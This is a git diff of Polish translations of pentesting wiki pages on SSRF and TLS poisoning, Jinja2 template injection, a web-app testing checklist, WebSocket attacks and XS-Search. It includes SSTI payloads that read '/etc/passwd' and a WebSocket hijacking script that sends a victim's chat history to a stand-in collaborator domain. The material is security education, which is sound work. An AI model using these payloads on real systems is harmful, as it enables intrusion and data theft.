6. Użytkownik/bot spróbuje **przywrócić połączenie TLS** i w tym celu **wyśle** **Session** ID/Ticket ID (gdzie znajdował się **ładunek** atakującego). Gratulacje, udało ci się poprosić **użytkownika/bota o atak na siebie**.
5. W żądaniu DNS podawany jest **prywatny adres IP** **teraz** (na przykład 127.0.0.1)
6. Użytkownik/bot spróbuje **przywrócić połączenie TLS** i w tym celu **wyśle** **Session** ID/Ticket ID (gdzie znajdował się **ładunek** atakującego). Gratulacje, udało ci się poprosić **użytkownika/bota o zaatakowanie samego siebie**.
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (_memcache_), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (**port musi być zawsze ten sam**).\
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (_memcache_), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 ( **port musi być zawsze ten sam**).\
Aby **przeprowadzić ten atak, możesz użyć narzędzia**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Aby uzyskać **więcej informacji**, zapoznaj się z prezentacją, w której ten atak jest wyjaśniony: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
@ -286,9 +290,9 @@ Aby uzyskać **więcej informacji**, zapoznaj się z prezentacją, w której ten
Różnica między ślepym SSRF a nieslepym polega na tym, że w przypadku ślepego nie możesz zobaczyć odpowiedzi na żądanie SSRF. W związku z tym jest to trudniejsze do wykorzystania, ponieważ będziesz mógł wykorzystać tylko dobrze znane podatności.
### SSRF oparty na czasie
### Czasowy SSRF
**Sprawdzając czas** odpowiedzi z serwera, może być **możliwe ustalenie, czy zasób istnieje, czy nie** (może zajmuje więcej czasu uzyskanie dostępu do istniejącego zasobu niż do zasobu, który nie istnieje)
**Sprawdzając czas** odpowiedzi z serwera, może być **możliwe ustalenie, czy zasób istnieje, czy nie** (może zajmować więcej czasu uzyskanie dostępu do istniejącego zasobu niż do zasobu, który nie istnieje)
## Cloud SSRF Exploitation
@ -298,7 +302,7 @@ Jeśli znajdziesz podatność SSRF w maszynie działającej w środowisku chmuro
cloud-ssrf.md
{{#endref}}
## Platformy podatne na SSRF
## SSRF Vulnerable Platforms
Kilka znanych platform zawiera lub zawierało podatności SSRF, sprawdź je w:
@ -306,7 +310,7 @@ Kilka znanych platform zawiera lub zawierało podatności SSRF, sprawdź je w:
ssrf-vulnerable-platforms.md
{{#endref}}
## Narzędzia
## Tools
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
@ -335,13 +339,13 @@ _remote-method-guesser_ to skaner podatności _Java RMI_, który wspiera operacj
SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klientów przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).
### Aby poćwiczyć
### Aby ćwiczyć
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## Odniesienia
## References
- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)

View File

@ -23,7 +23,7 @@ app.run()
### **Instrukcja debugowania**
Jeśli rozszerzenie debugowania jest włączone, tag `debug` będzie dostępny do zrzucenia bieżącego kontekstu, a także dostępnych filtrów i testów. To jest przydatne, aby zobaczyć, co jest dostępne do użycia w szablonie bez konfigurowania debuggera.
Jeśli rozszerzenie debugowania jest włączone, tag `debug` będzie dostępny do zrzucenia bieżącego kontekstu, a także dostępnych filtrów i testów. To jest przydatne, aby zobaczyć, co jest dostępne do użycia w szablonie bez konfigurowania debugera.
```python
<pre>
@ -60,11 +60,11 @@ Jeśli rozszerzenie debugowania jest włączone, tag `debug` będzie dostępny d
```
## **Jinja Injection**
Przede wszystkim, w przypadku Jinja injection musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskać dostęp do regularnego przepływu wykonania Pythona. Aby to zrobić, musisz **wykorzystać obiekty**, które pochodzą z **niepiaskownicowego środowiska, ale są dostępne z piaskownicy**.
Przede wszystkim, w przypadku Jinja injection musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskać dostęp do regularnego przepływu wykonania Pythona. Aby to zrobić, musisz **wykorzystać obiekty**, które pochodzą z **niepiaskowanej** **środowiska, ale są dostępne z piaskownicy**.
### Accessing Global Objects
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niepiaskownicowego środowiska Pythona** i będą **dostępne** wewnątrz **piaskownicy**.\
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niepiaskowanego środowiska Pythona** i będą **dostępne** wewnątrz **piaskownicy**.\
Co więcej, istnieją inne obiekty, które będą **zawsze dostępne z piaskownicy**, są to:
```
[]
@ -130,7 +130,7 @@ dict.__mro__[-1]
Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych funkcji**, będziemy zadowoleni, uzyskując dostęp do **klasy pliku**, aby **czytać/zapisywać pliki** lub jakiejkolwiek klasy z dostępem do klasy, która **pozwala na wykonywanie poleceń** (jak `os`).
**Czytaj/Zapisz zdalny plik**
**Odczyt/Zapis zdalnego pliku**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
@ -214,7 +214,7 @@ Domyślnie Flask koduje HTML wewnątrz szablonu z powodów bezpieczeństwa:
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Filtr `safe`** pozwala nam wstrzykiwać JavaScript i HTML na stronę **bez** ich **kodowania HTML**, jak to:
**Filtr `safe`** pozwala nam wstrzykiwać JavaScript i HTML na stronę **bez** jego **kodowania HTML**, jak to:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -294,7 +294,7 @@ Gdy znajdziesz kilka funkcji, możesz odzyskać wbudowane funkcje za pomocą:
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) to narzędzie, które jest specjalizowane w CTF, ale może być również przydatne do brutalnego wymuszania nieprawidłowych parametrów w rzeczywistym scenariuszu. Narzędzie po prostu rozpryskuje słowa i zapytania, aby wykryć filtry, szukając obejść, a także zapewnia interaktywną konsolę.
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) to narzędzie, które jest specjalizowane w CTF, ale może być również przydatne do bruteforce'owania nieprawidłowych parametrów w rzeczywistym scenariuszu. Narzędzie po prostu rozpryskuje słowa i zapytania, aby wykryć filtry, szukając obejść, a także zapewnia interaktywną konsolę.
```
webui:
As the name suggests, web UI
@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Odniesienia
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- Sprawdź [sztuczkę z attr, aby obejść zablokowane znaki tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- Sprawdź [attr trick, aby obejść zablokowane znaki tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma na celu być listą kontrolną, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma na celu stworzenie listy kontrolnej, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
## Proxies
@ -22,7 +22,7 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
> [!NOTE]
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzenie danych, które będą przetwarzane później.**\
> W zależności od struktury danych, które serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą, mieć zastosowanie.
> W zależności od struktury danych, których serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą mieć zastosowania.
### **Wartości odzwierciedlone**
@ -34,7 +34,7 @@ Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi
- [ ] [**Zawieszone znaczniki**](dangling-markup-html-scriptless-injection/)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](file-inclusion/)
- [ ] [**Otwarte przekierowanie**](open-redirect.md)
- [ ] [**Zanieczyszczenie prototypu do XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**Zanieczyszczenie prototypu do XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Fałszywe żądanie po stronie serwera**](ssrf-server-side-request-forgery/)
- [ ] [**Iniekcja szablonów po stronie serwera**](ssti-server-side-template-injection/)
@ -44,7 +44,7 @@ Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](xs-search/)
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po prostu wymagają, aby treść była odzwierciedlona. Możesz znaleźć kilka interesujących poliglotów do szybkiego testowania wrażliwości w:
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po prostu wymagają, aby treść była odzwierciedlona. Możesz znaleźć interesujące poligloty do szybkiego testowania wrażliwości w:
{{#ref}}
pocs-and-polygloths-cheatsheet/
@ -80,7 +80,7 @@ W zależności od nagłówków HTTP podawanych przez serwer webowy, mogą wystę
### **Obejścia**
Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą być przydatne do ich ominięcia.
Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą być przydatne.
- [ ] [**Obejście 2FA/OTP**](2fa-bypass.md)
- [ ] [**Obejście procesu płatności**](bypass-payment-process.md)
@ -93,13 +93,13 @@ Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą
### **Obiekty strukturalne / Specyficzne funkcjonalności**
Niektóre funkcjonalności będą wymagały, aby **dane były ustrukturyzowane w bardzo specyficznym formacie** (jak obiekt zserializowany w języku lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być wrażliwa, ponieważ musi przetwarzać tego rodzaju dane.\
Niektóre funkcjonalności będą wymagały, aby **dane były ustrukturyzowane w bardzo specyficznym formacie** (jak zserializowany obiekt językowy lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być wrażliwa, ponieważ musi przetwarzać tego rodzaju dane.\
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak iniekcje nagłówków e-mail).
- [ ] [**Deserializacja**](deserialization/)
- [ ] [**Iniekcja nagłówków e-mail**](email-injections.md)
- [ ] [**Wrażliwości JWT**](hacking-jwt-json-web-tokens.md)
- [ ] [**Zewnętrzna jednostka XML**](xxe-xee-xml-external-entity.md)
- [ ] [**Zewnętrzny byt XML**](xxe-xee-xml-external-entity.md)
### Pliki

View File

@ -10,7 +10,7 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
> Obecnie **aplikacje** **webowe** zazwyczaj **używają** jakiegoś rodzaju **pośredniczących** **proxy**, które mogą być (nadużywane) do eksploatacji wrażliwości. Te wrażliwości wymagają, aby wrażliwe proxy było na miejscu, ale zazwyczaj potrzebują również dodatkowej wrażliwości w backendzie.
- [ ] [**Nadużywanie nagłówków hop-by-hop**](../abusing-hop-by-hop-headers.md)
- [ ] [**Zatrucie pamięci podręcznej/Oszuści pamięci podręcznej**](../cache-deception.md)
- [ ] [**Zatrucie pamięci podręcznej/Oszuśtwo pamięci podręcznej**](../cache-deception.md)
- [ ] [**Smuggling żądań HTTP**](../http-request-smuggling/)
- [ ] [**Smuggling H2C**](../h2c-smuggling.md)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](../server-side-inclusion-edge-side-inclusion-injection.md)
@ -21,12 +21,12 @@ W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oc
## **Dane wejściowe użytkownika**
> [!NOTE]
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzenie danych, które będą przetwarzane później.**\
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzanie danych, które będą przetwarzane później.**\
> W zależności od struktury danych, których serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą, mieć zastosowanie.
### **Wartości odzwierciedlone**
Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi, strona może być wrażliwa na kilka problemów.
Jeśli wprowadzone dane mogą w jakiś sposób być odzwierciedlone w odpowiedzi, strona może być podatna na kilka problemów.
- [ ] [**Iniekcja szablonów po stronie klienta**](../client-side-template-injection-csti.md)
- [ ] [**Iniekcja poleceń**](../command-injection.md)
@ -34,7 +34,7 @@ Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi
- [ ] [**Zawieszone znaczniki**](../dangling-markup-html-scriptless-injection/)
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/)
- [ ] [**Otwarte przekierowanie**](../open-redirect.md)
- [ ] [**Zanieczyszczenie prototypu do XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**Zanieczyszczenie prototypu do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Fałszerstwo żądań po stronie serwera**](../ssrf-server-side-request-forgery/)
- [ ] [**Iniekcja szablonów po stronie serwera**](../ssti-server-side-template-injection/)
@ -63,7 +63,7 @@ Jeśli funkcjonalność może być używana do wyszukiwania jakichkolwiek danych
### **Formularze, WebSockety i PostMsgs**
Gdy websocket wysyła wiadomość lub formularz pozwalający użytkownikom na wykonywanie działań, mogą wystąpić wrażliwości.
Gdy websocket wysyła wiadomość lub formularz umożliwiający użytkownikom wykonywanie działań, mogą wystąpić wrażliwości.
- [ ] [**Fałszerstwo żądań między witrynami**](../csrf-cross-site-request-forgery.md)
- [ ] [**Przechwytywanie WebSocketów między witrynami (CSWSH)**](../websocket-attacks.md)
@ -94,7 +94,7 @@ Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą
### **Obiekty strukturalne / Specyficzne funkcjonalności**
Niektóre funkcjonalności będą wymagały, aby **dane były ustrukturyzowane w bardzo specyficznym formacie** (jak obiekt zserializowany w języku lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być wrażliwa, ponieważ musi przetwarzać tego rodzaju dane.\
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak iniekcje nagłówków e-mail).
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak Iniekcje nagłówków e-mail).
- [ ] [**Deserializacja**](../deserialization/)
- [ ] [**Iniekcja nagłówków e-mail**](../email-injections.md)
@ -103,7 +103,7 @@ Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśl
### Pliki
Funkcjonalności, które pozwalają na przesyłanie plików, mogą być wrażliwe na kilka problemów.\
Funkcjonalności, które pozwalają na przesyłanie plików, mogą być podatne na kilka problemów.\
Funkcjonalności, które generują pliki zawierające dane wejściowe użytkownika, mogą wykonywać nieoczekiwany kod.\
Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub automatycznie generowane, w tym dane wejściowe użytkownika, mogą być narażeni na niebezpieczeństwo.
@ -112,7 +112,7 @@ Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub auto
- [ ] [**Iniekcja PDF**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS po stronie serwera**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Zarządzanie tożsamością zewnętrzną**
### **Zewnętrzne zarządzanie tożsamością**
- [ ] [**OAUTH do przejęcia konta**](../oauth-to-account-takeover.md)
- [ ] [**Ataki SAML**](../saml-attacks/)

View File

@ -4,7 +4,7 @@
## Czym są WebSockety
Połączenia WebSocket są nawiązywane poprzez początkowe **HTTP** handshake i są zaprojektowane do bycia **długoterminowymi**, co pozwala na dwukierunkowe przesyłanie wiadomości w dowolnym momencie bez potrzeby systemu transakcyjnego. To sprawia, że WebSockety są szczególnie korzystne dla aplikacji wymagających **niskiej latencji lub komunikacji inicjowanej przez serwer**, takich jak strumienie danych finansowych na żywo.
Połączenia WebSocket są nawiązywane poprzez początkowe **HTTP** handshake i są zaprojektowane jako **długoterminowe**, co pozwala na dwukierunkowe przesyłanie wiadomości w dowolnym momencie bez potrzeby systemu transakcyjnego. To sprawia, że WebSockety są szczególnie korzystne dla aplikacji wymagających **niskiej latencji lub komunikacji inicjowanej przez serwer**, takich jak strumienie danych finansowych na żywo.
### Nawiązywanie połączeń WebSocket
@ -14,7 +14,7 @@ var ws = new WebSocket("wss://normal-website.com/ws")
```
Protokół `wss` oznacza połączenie WebSocket zabezpieczone **TLS**, podczas gdy `ws` wskazuje na **niezabezpieczone** połączenie.
Podczas nawiązywania połączenia wykonywane jest uzgadnianie między przeglądarką a serwerem za pomocą HTTP. Proces uzgadniania polega na tym, że przeglądarka wysyła żądanie, a serwer odpowiada, jak pokazano w następujących przykładach:
Podczas nawiązywania połączenia wykonywane jest uzgadnianie między przeglądarką a serwerem za pomocą HTTP. Proces uzgadniania polega na tym, że przeglądarka wysyła żądanie, a serwer odpowiada, jak pokazano w poniższych przykładach:
Przeglądarka wysyła żądanie uzgadniania:
```javascript
@ -56,39 +56,39 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
Jeśli odkryjesz, że klienci są połączeni z **HTTP websocket** z twojej bieżącej lokalnej sieci, możesz spróbować ataku [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing), aby przeprowadzić atak MitM pomiędzy klientem a serwerem.\
Jeśli odkryjesz, że klienci są połączeni z **HTTP websocket** z twojej bieżącej lokalnej sieci, możesz spróbować ataku [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing), aby przeprowadzić atak MitM między klientem a serwerem.\
Gdy klient próbuje się połączyć, możesz wtedy użyć:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeracja
### Websockets enumeration
Możesz użyć **narzędzia** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **do automatycznego odkrywania, identyfikacji i wyszukiwania znanych** **vulnerabilities** w websockets.
### Narzędzia debugowania Websocketów
### Websocket Debug tools
- **Burp Suite** wspiera komunikację websockets w trybie MitM w bardzo podobny sposób, jak robi to dla standardowej komunikacji HTTP.
- Rozszerzenie **[**socketsleuth**](https://github.com/snyk/socketsleuth)** dla Burp Suite pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, uzyskując **historię**, ustawiając **reguły przechwytywania**, używając reguł **match and replace**, korzystając z **Intruder** i **AutoRepeater.**
- **[**WSSiP**](https://github.com/nccgroup/wssip)**: Skrót od "**WebSocket/Socket.io Proxy**", to narzędzie, napisane w Node.js, zapewnia interfejs użytkownika do **przechwytywania, przechwytywania, wysyłania niestandardowych** wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
- **[**wsrepl**](https://github.com/doyensec/wsrepl)** to **interaktywny websocket REPL** zaprojektowany specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania **przychodzących wiadomości websocket i wysyłania nowych**, z łatwym w użyciu frameworkiem do **automatyzacji** tej komunikacji.&#x20;
- **[**https://websocketking.com/**](https://websocketking.com/)** to **strona internetowa do komunikacji** z innymi stronami za pomocą **websocketów**.
- **[**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)**, wśród innych typów komunikacji/protokółów, zapewnia **stronę do komunikacji** z innymi stronami za pomocą **websocketów.**
- **Burp Suite** obsługuje komunikację MitM w websockets w bardzo podobny sposób, jak robi to dla standardowej komunikacji HTTP.
- Rozszerzenie [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite** pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, uzyskując **historię**, ustawiając **reguły przechwytywania**, używając reguł **match and replace**, korzystając z **Intruder** i **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skrót od "**WebSocket/Socket.io Proxy**", to narzędzie, napisane w Node.js, zapewnia interfejs użytkownika do **przechwytywania, przechwytywania, wysyłania niestandardowych** wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
- [**wsrepl**](https://github.com/doyensec/wsrepl) to **interaktywny websocket REPL** zaprojektowany specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania **przychodzących wiadomości websocket i wysyłania nowych**, z łatwym w użyciu frameworkiem do **automatyzacji** tej komunikacji.&#x20;
- [**https://websocketking.com/**](https://websocketking.com/) to **strona internetowa do komunikacji** z innymi stronami za pomocą **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) wśród innych typów komunikacji/protokółów, zapewnia **stronę do komunikacji** z innymi stronami za pomocą **websockets.**
## Laboratorium Websocket
## Websocket Lab
W **[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)** masz kod do uruchomienia strony internetowej używającej websocketów, a w **[**tym poście**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)** znajdziesz wyjaśnienie.
W [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) masz kod do uruchomienia strony internetowej używającej websockets, a w [**tym poście**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) znajdziesz wyjaśnienie.
## Przechwytywanie WebSocketów między witrynami (CSWSH)
## Cross-site WebSocket hijacking (CSWSH)
**Przechwytywanie WebSocketów między witrynami**, znane również jako **przechwytywanie WebSocketów z różnych źródeł**, jest identyfikowane jako specyficzny przypadek **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wpływający na handshake WebSocket. Ta luka występuje, gdy handshaki WebSocket autoryzują wyłącznie za pomocą **ciasteczek HTTP** bez **tokenów CSRF** lub podobnych środków bezpieczeństwa.
**Cross-site WebSocket hijacking**, znane również jako **cross-origin WebSocket hijacking**, jest identyfikowane jako specyficzny przypadek **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wpływający na handshake WebSocket. Ta luka występuje, gdy handshake WebSocket autoryzuje wyłącznie za pomocą **ciasteczek HTTP** bez **tokenów CSRF** lub podobnych środków bezpieczeństwa.
Napastnicy mogą to wykorzystać, hostując **złośliwą stronę internetową**, która inicjuje połączenie WebSocket między witrynami z podatną aplikacją. W konsekwencji to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.
Napastnicy mogą to wykorzystać, hostując **złośliwą stronę internetową**, która inicjuje połączenie WebSocket między witrynami do podatnej aplikacji. W konsekwencji to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.
### Prosty atak
### Simple Attack
Zauważ, że podczas **nawiązywania** połączenia **websocket** **ciasteczko** jest **wysyłane** do serwera. **Serwer** może go używać do **powiązania** każdego **konkretnego** **użytkownika** z jego **sesją websocket** na podstawie wysłanego ciasteczka.
Jeśli na przykład **serwer websocket** **wysyła z powrotem historię rozmowy** użytkownika, gdy wysyłana jest wiadomość z "**READY"**, to **prosty XSS** nawiązujący połączenie (**ciasteczko** zostanie **wysłane** **automatycznie** w celu autoryzacji użytkownika ofiary) **wysyłając** "**READY**" będzie w stanie **pobierać** historię **rozmowy**.
Jeśli na przykład **serwer websocket** **wysyła z powrotem historię rozmowy** użytkownika, gdy wysyłana jest wiadomość z "**READY"**, to **prosty XSS** nawiązujący połączenie (**ciasteczko** zostanie **wysłane** **automatycznie** w celu autoryzacji użytkownika ofiary) **wysyłając** "**READY**" będzie w stanie **odzyskać** historię **rozmowy**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -103,11 +103,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie z innym subdomeną
### Cross Origin + Cookie with a different subdomain
W tym wpisie na blogu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) atakujący zdołał **wykonać dowolny Javascript w subdomenie** domeny, w której odbywała się komunikacja przez web socket. Ponieważ była to **subdomena**, **ciasteczko** było **wysyłane**, a ponieważ **Websocket nie sprawdzał poprawnie Origin**, możliwe było komunikowanie się z nim i **kradzież tokenów**.
### Kradzież danych od użytkownika
### Stealing data from user
Skopiuj aplikację webową, którą chcesz naśladować (na przykład pliki .html) i wewnątrz skryptu, w którym odbywa się komunikacja przez websocket, dodaj ten kod:
```javascript
@ -140,11 +140,11 @@ Warunki wyścigu w WebSocketach również istnieją, [sprawdź te informacje, ab
## Inne podatności
Ponieważ WebSockety są mechanizmem do **wysyłania danych na stronę serwera i klienta**, w zależności od tego, jak serwer i klient obsługują informacje, **WebSockety mogą być używane do wykorzystania kilku innych podatności, takich jak XSS, SQLi lub jakiejkolwiek innej powszechnej podatności webowej, wykorzystując dane wejściowe użytkownika z websocketu.**
Ponieważ WebSockety są mechanizmem do **wysyłania danych na stronę serwera i klienta**, w zależności od tego, jak serwer i klient obsługują informacje, **WebSockety mogą być używane do wykorzystywania kilku innych podatności, takich jak XSS, SQLi lub jakiejkolwiek innej powszechnej podatności webowej, wykorzystując dane wejściowe użytkownika z WebSocketu.**
## **Przemyt WebSocketów**
Ta podatność może pozwolić na **obejście ograniczeń odwrotnych proxy**, sprawiając, że uwierzą, że **komunikacja websocketowa została nawiązana** (nawet jeśli to nieprawda). Może to pozwolić atakującemu na **dostęp do ukrytych punktów końcowych**. Aby uzyskać więcej informacji, sprawdź następującą stronę:
Ta podatność może pozwolić na **obejście ograniczeń odwrotnych proxy**, sprawiając, że będą one wierzyć, że **komunikacja WebSocket została nawiązana** (nawet jeśli to nieprawda). Może to umożliwić atakującemu **dostęp do ukrytych punktów końcowych**. Aby uzyskać więcej informacji, sprawdź następującą stronę:
{{#ref}}
h2c-smuggling.md

View File

@ -4,23 +4,23 @@
## Podstawowe informacje
XS-Search to metoda używana do **ekstrakcji informacji między źródłami** poprzez wykorzystanie **wrażliwości kanałów bocznych**.
XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł** poprzez wykorzystanie **wrażliwości kanałów bocznych**.
Kluczowe komponenty zaangażowane w ten atak obejmują:
Kluczowe komponenty zaangażowane w ten atak to:
- **Wrażliwa strona internetowa**: Docelowa strona internetowa, z której zamierzane jest wydobycie informacji.
- **Strona internetowa atakującego**: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Internetowej Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący ma na celu rozróżnienie.
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony Internetowej.
- **Wrażliwa strona**: Strona docelowa, z której zamierzane jest wydobycie informacji.
- **Strona atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony na podstawie informacji zebranych za pomocą metody włączenia.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony, które atakujący stara się odróżnić.
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony.
### Wykrywalne różnice
Kilka aspektów można analizować, aby rozróżnić stany Wrażliwej Strony Internetowej:
Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:
- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** między źródłami, takimi jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona między źródłami korzysta z konkretnego JavaScript Web API.
